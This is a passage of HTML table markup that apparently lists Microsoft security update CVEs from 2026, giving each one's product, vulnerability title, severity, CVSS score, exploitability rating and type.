 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
